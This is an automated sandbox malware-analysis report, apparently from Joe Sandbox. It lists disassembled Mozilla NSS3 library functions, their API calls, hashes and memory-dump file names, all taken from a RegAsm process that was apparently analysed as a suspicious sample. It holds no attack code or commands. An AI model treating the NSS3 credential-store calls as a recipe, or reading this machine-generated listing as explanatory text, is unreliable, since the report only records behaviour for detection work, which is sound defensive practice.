PK11_GetInternalKeySlot.NSS3(?,?,?,6C452E62,?,?,?,?,?,?,?,00000000,?,?,?,6C424F1C), ref: 6C438EA2

Part of subcall function 6C45F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C45F854
Part of subcall function 6C45F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C45F868
Part of subcall function 6C45F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C45F882
Part of subcall function 6C45F820: free.MOZGLUE(04C483FF,?,?), ref: 6C45F889
Part of subcall function 6C45F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C45F8A4
Part of subcall function 6C45F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C45F8AB
Part of subcall function 6C45F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C45F8C9
Part of subcall function 6C45F820: free.MOZGLUE(280F10EC,?,?), ref: 6C45F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C452E62,?,?,?,?,?,?,?,00000000,?,?,?,6C424F1C), ref: 6C438EC3
TlsGetValue.KERNEL32(?,?,?,6C452E62,?,?,?,?,?,?,?,00000000,?,?,?,6C424F1C), ref: 6C438EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C452E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C438EF1
PR_Unlock.NSS3 ref: 6C438F20

Strings

b.El, xrefs: 6C438E96, 6C438F25

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.El
API String ID: 1978757487-1269964109
Opcode ID: 6c1cf760b5fefa0028f07c1834ba6e6eb76d69d58536d10ac6d6e8f8311cc09c
Instruction ID: 6b53e274f0881f40e89e420a57d33a846628dd9c7b0d7252f83d00a33fb97f29
Opcode Fuzzy Hash: 6c1cf760b5fefa0028f07c1834ba6e6eb76d69d58536d10ac6d6e8f8311cc09c
Instruction Fuzzy Hash: 7A215E709096259BD700EF2AD484EA9FBF0BF88314F41556EE898DBB40D730E854CBD2

Function 6C468970 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6C4161C4,?,6C415639,00000000), ref: 6C468991
TlsGetValue.KERNEL32(?,?,?,?,?,6C415639,00000000), ref: 6C4689AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C415639,00000000), ref: 6C4689C6
PR_WaitCondVar.NSS3 ref: 6C4689F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C415639,00000000), ref: 6C468A0C

Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007AD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007CD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007D6
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C39204A), ref: 6C4007E4
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,6C39204A), ref: 6C400864
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C400880
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,6C39204A), ref: 6C4008CB
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008D7
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008FB

Strings

9VAl, xrefs: 6C468986

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID: 9VAl
API String ID: 2759447159-1764780290
Opcode ID: ad2fa4e83cb381d2ffc1000235f1b9bf7052ace7edf4244888f33b0001400e8a
Instruction ID: 67e8c4d253c18fa947f8b6f2155f1d1937dd10ea50cd512955aef813bc238c2b
Opcode Fuzzy Hash: ad2fa4e83cb381d2ffc1000235f1b9bf7052ace7edf4244888f33b0001400e8a
Instruction Fuzzy Hash: 5D217EB4A046158BDB00EF79C884DAABBF4FF06309F01466ADC9997B09E730D485CBD2

Function 6C522C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C522CA0
PR_ExitMonitor.NSS3 ref: 6C522CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C522CD1
strdup.MOZGLUE(?), ref: 6C522CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C522D27

Strings

Loaded library %s (static lib), xrefs: 6C522D22

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 4a4e7b07d99ffb2cc2c1d6d12d4a54fd78eebe270646c68ea12f237d1f5b8ff4
Instruction ID: cdf941c7a70bca0c5e7fd6c77c0349a7c8d1c4c526a6865c901ab13973a83e0e
Opcode Fuzzy Hash: 4a4e7b07d99ffb2cc2c1d6d12d4a54fd78eebe270646c68ea12f237d1f5b8ff4
Instruction Fuzzy Hash: BB110DB9611210ABEB01DF1ADC58A6637F4AB46329F55843DE809C7B81D736E848CBB1

Function 6C4168E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C4168FB
EnterCriticalSection.KERNEL32 ref: 6C416913
PORT_FreeArena_Util.NSS3 ref: 6C41693E
PR_Unlock.NSS3 ref: 6C416946
DeleteCriticalSection.KERNEL32 ref: 6C416951
free.MOZGLUE ref: 6C41695D
PR_Unlock.NSS3 ref: 6C416968

Part of subcall function 6C4BDD70: TlsGetValue.KERNEL32 ref: 6C4BDD8C
Part of subcall function 6C4BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C4BDDB4

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 19be31c4532ed797db5dc91d4d653e9082561e2010b7180bf32d8eb306af2ffb
Instruction ID: 34fababc0be9d88ccf5351a70998a2542e33947829da763db340c86e15be7d25
Opcode Fuzzy Hash: 19be31c4532ed797db5dc91d4d653e9082561e2010b7180bf32d8eb306af2ffb
Instruction Fuzzy Hash: DC112CB16186058BDB00EF79C488DBDBBF4FB06245F014969D8999BB01EB30E484CB92

Function 6C470FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4187ED,00000800,6C40EF74,00000000), ref: 6C471000
PR_NewLock.NSS3(?,00000800,6C40EF74,00000000), ref: 6C471016

Part of subcall function 6C4D98D0: calloc.MOZGLUE(00000001,00000084,6C400936,00000001,?,6C40102C), ref: 6C4D98E5

PL_InitArenaPool.NSS3(00000000,security,6C4187ED,00000008,?,00000800,6C40EF74,00000000), ref: 6C47102B
TlsGetValue.KERNEL32(00000000,?,?,6C4187ED,00000800,6C40EF74,00000000), ref: 6C471044
free.MOZGLUE(00000000,?,00000800,6C40EF74,00000000), ref: 6C471064

Strings

security, xrefs: 6C471025

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 744c865b8acdbe8ec00f0b299b5215ce018cb681ca43002f7ff2dc8bfd75c50b
Instruction ID: 6a560c6e8b265e1bd50b1a0fc7db21213b6740e0a97b8af0337a36ed1cd0a252
Opcode Fuzzy Hash: 744c865b8acdbe8ec00f0b299b5215ce018cb681ca43002f7ff2dc8bfd75c50b
Instruction Fuzzy Hash: AC0129306402D057E730AF2D8C1CED63A78EF03749F020119E80CA6E52EB60D144DBF5

Function 6C4B49C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000678,?,?,6C4A5F34,00000A20), ref: 6C4B49EC

Part of subcall function 6C46FAB0: free.MOZGLUE(?,-00000001,?,?,6C40F673,00000000,00000000), ref: 6C46FAC7

SECITEM_ZfreeItem_Util.NSS3(?,00000000,6C4A5F34,00000A20,?,?,?,?,?,?,?,?,?,6C4AAAD4), ref: 6C4B49F9
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6C4A5F34,00000A20,?,?,?,?,?,?,?,?,?,6C4AAAD4), ref: 6C4B4A06
free.MOZGLUE(?,?,?,?,?,6C4A5F34,00000A20), ref: 6C4B4A16
free.MOZGLUE(?,?,?,?,?,6C4A5F34,00000A20), ref: 6C4B4A1C

Strings

4_Jl , xrefs: 6C4B49C6, 6C4B4A21

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID: 4_Jl
API String ID: 2193358613-1415576483
Opcode ID: 9476f0ed82b9be880fa032fb425d27e23f4cd83e77e99900db1cbdc45bed29ec
Instruction ID: cc36e3a50d78b6e85769384e5c57671ac228fb59243cbaedb72553027b084649
Opcode Fuzzy Hash: 9476f0ed82b9be880fa032fb425d27e23f4cd83e77e99900db1cbdc45bed29ec
Instruction Fuzzy Hash: 3B014C76A011049BDB00CF69DC84C967BBCEF8A2493058065E909DBB05E731E904CBB1

Function 6C4B2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4B3046

Part of subcall function 6C49EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C49EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C487FFB), ref: 6C4B312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4B3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C4B2E8B

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

Part of subcall function 6C49F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C489BFF,?,00000000,00000000), ref: 6C49F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C487FFA), ref: 6C4B2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4B317B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: e650931c2c8843129e16cf03aa722e4176be10294041158066147418939b644a
Instruction ID: b96142a9e6777c30426abf0d512207a7fa3fee88bfe96db24cf6a61a0c50f8e1
Opcode Fuzzy Hash: e650931c2c8843129e16cf03aa722e4176be10294041158066147418939b644a
Instruction Fuzzy Hash: 95A18B71A002289FDB24CF54CC84FEAB7B5EF49308F148199E94967781EB71AD85CFA1

Function 6C46A970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43120bf3f1eb837b0e234548245cba0c30cefa855afa1f3972a15aade1839220
Instruction ID: 747e9b19454ce03c655e1bafb16474f6258a8da17ee37aa5697990bfced692f1
Opcode Fuzzy Hash: 43120bf3f1eb837b0e234548245cba0c30cefa855afa1f3972a15aade1839220
Instruction Fuzzy Hash: 3A913B30D049784BCB25CE1AC891FDA77F69F4A30DF1941D9C59A8BF09D7318D868B91

Function 6C47ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C47ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C47EDCE

Part of subcall function 6C470BE0: malloc.MOZGLUE(6C468D2D,?,00000000,?), ref: 6C470BF8
Part of subcall function 6C470BE0: TlsGetValue.KERNEL32(6C468D2D,?,00000000,?), ref: 6C470C15

free.MOZGLUE(00000000,?,?,?,?,6C47B04F), ref: 6C47EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C47EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C47EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C47EEFB

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: aa08fc4f93bb7adcaa859cf7ceec795355f1c55cf3a4c9c608095b2656c8eaa8
Instruction ID: aaf4e7ffe4b59fbba03abad984d8c78f859540dd1307ea143269f3f51c15688c
Opcode Fuzzy Hash: aa08fc4f93bb7adcaa859cf7ceec795355f1c55cf3a4c9c608095b2656c8eaa8
Instruction Fuzzy Hash: B88158B1A012059FEB24CF59C884FEA77B5AF88309F144528E8159BB51E731E815CBB1

Function 6C47CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C47C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C47DAE2,?), ref: 6C47C6C2

PR_Now.NSS3 ref: 6C47CD35

Part of subcall function 6C4D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C520A27), ref: 6C4D9DC6
Part of subcall function 6C4D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C520A27), ref: 6C4D9DD1
Part of subcall function 6C4D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4D9DED

Part of subcall function 6C466C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C411C6F,00000000,00000004,?,?), ref: 6C466C3F

PR_GetCurrentThread.NSS3 ref: 6C47CD54

Part of subcall function 6C4D9BF0: TlsGetValue.KERNEL32(?,?,?,6C520A75), ref: 6C4D9C07

Part of subcall function 6C467260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C411CCC,00000000,00000000,?,?), ref: 6C46729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C47CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C47CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C47CE2C

Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C4710F3
Part of subcall function 6C4710C0: EnterCriticalSection.KERNEL32(?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47110C
Part of subcall function 6C4710C0: PL_ArenaAllocate.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471141
Part of subcall function 6C4710C0: PR_Unlock.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471182
Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C47CE40

Part of subcall function 6C4714C0: TlsGetValue.KERNEL32 ref: 6C4714E0
Part of subcall function 6C4714C0: EnterCriticalSection.KERNEL32 ref: 6C4714F5
Part of subcall function 6C4714C0: PR_Unlock.NSS3 ref: 6C47150D

Part of subcall function 6C47CEE0: PORT_ArenaMark_Util.NSS3(?,6C47CD93,?), ref: 6C47CEEE
Part of subcall function 6C47CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C47CD93,?), ref: 6C47CEFC
Part of subcall function 6C47CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C47CD93,?), ref: 6C47CF0B
Part of subcall function 6C47CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C47CD93,?), ref: 6C47CF1D

Part of subcall function 6C47CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C47CD93,?), ref: 6C47CF47
Part of subcall function 6C47CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C47CD93,?), ref: 6C47CF67
Part of subcall function 6C47CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C47CD93,?,?,?,?,?,?,?,?,?,?,?,6C47CD93,?), ref: 6C47CF78

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 93eef09dce8287953a374bf995ff995834589765db430346fe1b7a25835760a3
Instruction ID: 2c3191f8faba51214b258ba4673c650906d997766fcd3f1cec591db4afebb816
Opcode Fuzzy Hash: 93eef09dce8287953a374bf995ff995834589765db430346fe1b7a25835760a3
Instruction Fuzzy Hash: 05518176A015049BE730EF69DC40FEA77E4AF48349F250528D95997B40EB31E909CBA1

Function 6C44EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C44EF38

Part of subcall function 6C439520: PK11_IsLoggedIn.NSS3(00000000,?,6C46379E,?,00000001,?), ref: 6C439542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C44EF53

Part of subcall function 6C454C20: TlsGetValue.KERNEL32 ref: 6C454C4C
Part of subcall function 6C454C20: EnterCriticalSection.KERNEL32(?), ref: 6C454C60
Part of subcall function 6C454C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C454CA1
Part of subcall function 6C454C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C454CBE
Part of subcall function 6C454C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C454CD2
Part of subcall function 6C454C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C454D3A

PR_GetCurrentThread.NSS3 ref: 6C44EF9E

Part of subcall function 6C4D9BF0: TlsGetValue.KERNEL32(?,?,?,6C520A75), ref: 6C4D9C07

free.MOZGLUE(00000000), ref: 6C44EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C44F016
free.MOZGLUE(00000000), ref: 6C44F022

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: adfd059b96d63de44477a969dcd2b89a09224f2ece08ee10f2f6f3ca96832c86
Instruction ID: 9b5927152731b3ed6fcd50dcb5b637431fdf3647a1a1fec0e73dc91362638aeb
Opcode Fuzzy Hash: adfd059b96d63de44477a969dcd2b89a09224f2ece08ee10f2f6f3ca96832c86
Instruction Fuzzy Hash: 3A418371E01109ABEF01CFA9DC85FEE7AB5EB48358F114029F914A6350EB72D9158BA1

Function 6C424860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C424894

Part of subcall function 6C46B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5418D0,?), ref: 6C46B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4248CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4248DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C4248FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C424912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C42494A

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
